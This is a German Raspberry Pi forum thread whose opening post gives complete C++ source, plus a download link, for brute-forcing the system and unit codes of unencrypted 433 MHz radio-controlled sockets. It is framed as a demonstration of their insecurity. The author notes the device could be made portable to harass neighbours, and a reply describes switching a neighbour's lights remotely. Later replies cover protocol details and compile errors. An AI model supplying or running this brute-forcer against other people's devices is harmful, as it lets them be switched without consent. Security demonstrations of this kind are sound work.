433 Mhz Brutforcer

Ein neuer Artikel wurde veröffentlicht
Dieses SubForum ist nur für fertiggestellte Tutorials gedacht. Fragen jedweder Art sind hier nicht erwünscht
  • 433 Mhz Brutforcer (Jammer)



    Disclaimer:
    Das hier Gezeigte dient nur zur Verdeutlichung wie unsicher 433 Mhz Funksteckdosen sind. Das ist KEINE Aufforderung zum Nachmachen. Jeder handelt auf eigene Verantwortung.

    Vorwort:
    Da immer mehr Leute eine Hausautomation einsetzten, wollte ich einmal demonstrieren, wie unsicher einige 433Mhz Funksteckdosen sind.
    Zu erwähnen ist, dass einige Komplettsysteme verschlüsselt sind und einen Rolling-Key benutzen. Damit sind diese relativ sicher.
    Viele benutzen aber einfache und unverschlüsselte Steckdosen, wie in meinem letzen Post gezeigt. Das hier gezeigte Programm benötigt
    Raspberry-Remote. Wie dieses insatlliert wird, habe ich auch im letzten Post gezeigt.
    Hier geht es zu dem Post: http://www.forum-raspberrypi.d…hsteuerung-via-google-now


    Das Programm:
    Wie ihr auf dem nachfolgenden Bild sehen könnt, gibt es 128 Möglichkeiten um die Steckdose einzuschalten und nochmal 128 um sie auszuschalten. Diese 256 Möglichkeiten werden 10 mal durchlaufen. Dafür brauchen der Brutforcer knapp 21 Minuten.




    Hier der Quellcode:
    [code=php]
    #include <cstdlib>
    #include <stdio.h>
    #include <iostream>
    #include <sstream>


    using namespace std;


    string berechne_systemcode(int param)
    {


    int rest[5];
    int i;


    for (i = 1; i <= 5; i++)
    {
    rest[i] = param %2;
    param /= 2;
    }
    stringstream bit1;
    bit1 << rest[1];
    string b1 = bit1.str();


    stringstream bit2;
    bit2 << rest[2];
    string b2 = bit2.str();


    stringstream bit3;
    bit3 << rest[3];
    string b3 = bit3.str();


    stringstream bit4;
    bit4 << rest[4];
    string b4 = bit4.str();


    stringstream bit5;
    bit5 << rest[5];
    string b5 = bit5.str();


    string scode = b5+b4+b3+b2+b1;
    return scode;
    }


    int main()
    {



    int nwiederholung, status, nsteckdose, nbit, nbit1;
    string onoff, unitycode, systemcode, commendcomplet;
    string command = "sudo steckdosen/raspberry-remote/send "; /*lage dess send Befehls*/
    string lehr =" ";


    for (nwiederholung = 1; nwiederholung <=10 ; nwiederholung++)
    {
    for (status = 1; status >=0; status--)
    {
    stringstream on_off;
    on_off << status;
    onoff = on_off.str();


    for (nsteckdose = 1; nsteckdose <= 4; nsteckdose++)
    {
    stringstream sdose;
    sdose << nsteckdose;
    unitycode = sdose.str();


    for (nbit = 0; nbit <= 31; nbit++)
    {
    nbit1=nbit;
    systemcode=berechne_systemcode(nbit1);
    commendcomplet = command + systemcode + lehr + unitycode+ lehr +onoff;
    system(commendcomplet.c_str());


    }
    }
    }
    }


    return 0;
    }



    [/php]


    Oder einfach hier die .cpp runterladen:
    https://www.file-upload.net/download-12324022/bf433.cpp.html



    So sieht es aus, wenn das Programm läuft (via Putty):



    Schlusswort:
    Über den Sinn von diesem Brutfocer kann man natürlich streiten. Jedoch wäre das ganze Gebilde mit einer Powerbank mobil.
    Die Reichweite ist natürlich beschränkt, reicht jedoch um seine Nachbarn in den Wahnsinn zu treiben.
    Und es ist hauptsächlich ein Brutforcer und kein Jammer. Jedoch hatte ich Probleme mit der Fernbedienung durchzukommen, während das Programm läuft.


    Natürlich habe ich auch wieder ein Video zu diesem Thema gemacht:

  • Das es gemeldet wurde. Ich persönlich hab da kein Problem mit. Das ist kein Hexenwerk, den Code sollten Programmieranfänger nachvollziehen können und als mahnendes Beispiel find ich ok. Besser als nur zu schreiben "benutzt ja nicht Funksteckdosen....UNSICHER!!!!!einself". wer ein Problem damit hat kann mich gern per PN anschreiben, bitte nicht in diesem Thread diskutieren

    Der Unterschied zwischen Genie und Wahnsinn definiert sich im Erfolg.


    Dieser Beitrag wurde bereits 1 Mal editiert, zuletzt von dbv ()

  • derbaertigebube: Bei meinen Intertechno-Steckdosen muß man noch nicht mal den Steckdosencode einzeln durchschalten. Die kann man auch alle auf einen Schlag (per 31) schalten, was z.B. das Schalten von Gruppen erlaubt. Damit käme man mit den 2^5 Schaltungen für den Systemcode aus. Aber da mögen die Hersteller unterschiedliche Implementierungen besitzen.

  • Finde ich gut das man sich über die Sicherheit Gedanken macht und aufzeigt wie unsicher manche Haushalte sind :thumbs1:


    Allerdings hat die Problematik nicht viel mit speziell dem Pi zu tun, denn Steckdosen schalten kann man über jedes System worüber solch ein 433MHz Sender betrieben werden kann also auch ein AVR oder ESP usw.



    Übrigens heißt es Bruteforce nicht Brutforce :fies:
    Wenn man nach "bruteforce 433" googled findet man auch einiges dazu...

  • da verweise ich noch mal auf:
    http://www.forum-raspberrypi.d…ght=brute+force#pid189164
    läuft seit einem Jahr zuverlässig, muss immer noch in eine Platine


    PS Intertechno, Gruppenbefehle gehen leider nicht bei Rolladenempfänger, k.A. warum dabei wäre das dort sinnvoll, so muss ich jedes Kommando einzeln raustickern und weil einige Empfänger weiter weg sind gestaffelt, 6x die am weitesten und dann runter bis 2x für die dem Sendernächsten Empfänger.


    das hier hatte ich nachgebaut


    mit 4x Mignon Eneloop auf dem Steckbrett auch portabel um eine Runde um den "Block" zu drehen, mein Nachbar wunderte sich das sein Küchenlicht und sein Radio ein Eigenleben führten, ich habe ihn aber aufgeklärt, wir haben ein gutes Nachbarschaftsverhältnis.

    lasst die PIs am Leben !
    Energiesparen:
    Das Gehirn kann in Standby gehen. Abschalten spart aber noch mehr Energie, was immer mehr nutzen. Dieter Nuhr

    Dieser Beitrag wurde bereits 1 Mal editiert, zuletzt von jar ()

  • @ChrisA: Interessant!!! Ich denke aber, daß das hier nicht geht, da die Telegramme aus Störsicherheitsgründen i.d.R. mit einem sehr langen Sync-Signal (Dauerträger) beginnen, auf den sich der Empfänger dann synchronisiert. Die Länge liegt bei round about 1/4 der gesamten Wortlänge und die Codierung selbst bringt wiederum Redundanz in die eigentliche Bitfolge der Information. Zudem muß ein gesamtes Datagramm bei manchen Steckdosen 3x hintereinander korrekt empfangen worden sein, damit der Empfänger die Schaltoperation auch ausführt (auch wieder aus Gründen des schlechten Übertragungsweges).
    Ist aber auch egal - De Bruijn - wieder was gelernt.


  • .....Zudem muß ein gesamtes Datagramm bei manchen Steckdosen 3x hintereinander korrekt empfangen worden sein, damit der Empfänger die Schaltoperation auch ausführt (auch wieder aus Gründen des schlechten Übertragungsweges).


    bei meiner LIB RCswitch für den Arduino nervt das aber, es wird ein Rolladen gestartet und manchmal gleich wieder gestoppt, entspricht 2 Tastendrücke auf der Handfernbedienung.


    Ich weiss es gibt eine Möglichkeit die Zahl der Wiederholungen einzustellen, dummerweise blicke ich bei cpp nicht durch wie das zu machen ist.

    lasst die PIs am Leben !
    Energiesparen:
    Das Gehirn kann in Standby gehen. Abschalten spart aber noch mehr Energie, was immer mehr nutzen. Dieter Nuhr

    Dieser Beitrag wurde bereits 1 Mal editiert, zuletzt von jar ()

  • ./brut: line 12: namespace: command not found


    ./brut: line 14: typedef: command not found


    ./brut: line 15: typedef: command not found


    ./brut: line 49: typedef: command not found


    ./brut: line 52: extern: command not found


    ./brut: line 72: union: command not found


    ./brut: line 89: syntax error near unexpected token `__wait_terminated'


    ./brut: line 89: ` } __wait_terminated;'

  • Du musst es erst kompilieren - das ist kein bash Script sondern C++


    g++ -o brute bf433.cpp


    Desweiteren ist in dem Programm leider hardcoded der Pfad steckdosen/raspberry-remote/send fest hinterlegt, das Programm muss also in einem Verzeichnis liegen wo es dann genau diese Verzeichnisstruktur gibt.


    Ist aber ehrlich gesagt auch etwas bescheiden: ein C++ Programm was über system() und sudo ein anderes C++ Programm ausführt... :dau2:

  • Hallo,

    ich wollte den Brutforcer auch gerne mal testen. Dafür habe ich die die Verzeichnisse „Steckdosen“ usw angelegt und die Datei bft433.cpp kompiliert.

    Allerdings wird die Datei „send“ irgendwie falsch aufgerufen.

    Muss ich vor dem kompilieren die Zeile string command = "sudo steckdosen/raspberry-remote/send " in der bft433.cpp noch anpassen?


  • Siehe Beitrag#12



    ...ich krieg aber auch jedes mal aufs neue Kopfschmerzen bei sowohl Thread-Titel als auch dem Sourcecode... Nicht nur dass es Bruteforce heißt (erwähnte ich schon) sondern auch wie der Code an sich geschrieben ist, Benennung der Variablen usw... Unter einem Jammer versteht man ebenfalls etwas ganz anderes

    :elektro:

  • Sorry für die späte Antwort. Die kompilierte Datei muss aus dem Hauptverzeichnis gestartet werde und nicht so wie ich es versucht habe aus dem Verzeichnis steckdosen. Da hätte ich auch selber drauf kommen müssen. Danke!

    Bei dieser Aktion habe ich auch leider festgestellt das mein Sender wahrscheinlich kein Signal sendet, bzw. keiner meiner Empfänger auf ein Sendesignal reagiert. Jetzt suche ich eine Möglichkeit die Hardware auf Funktion zu testen.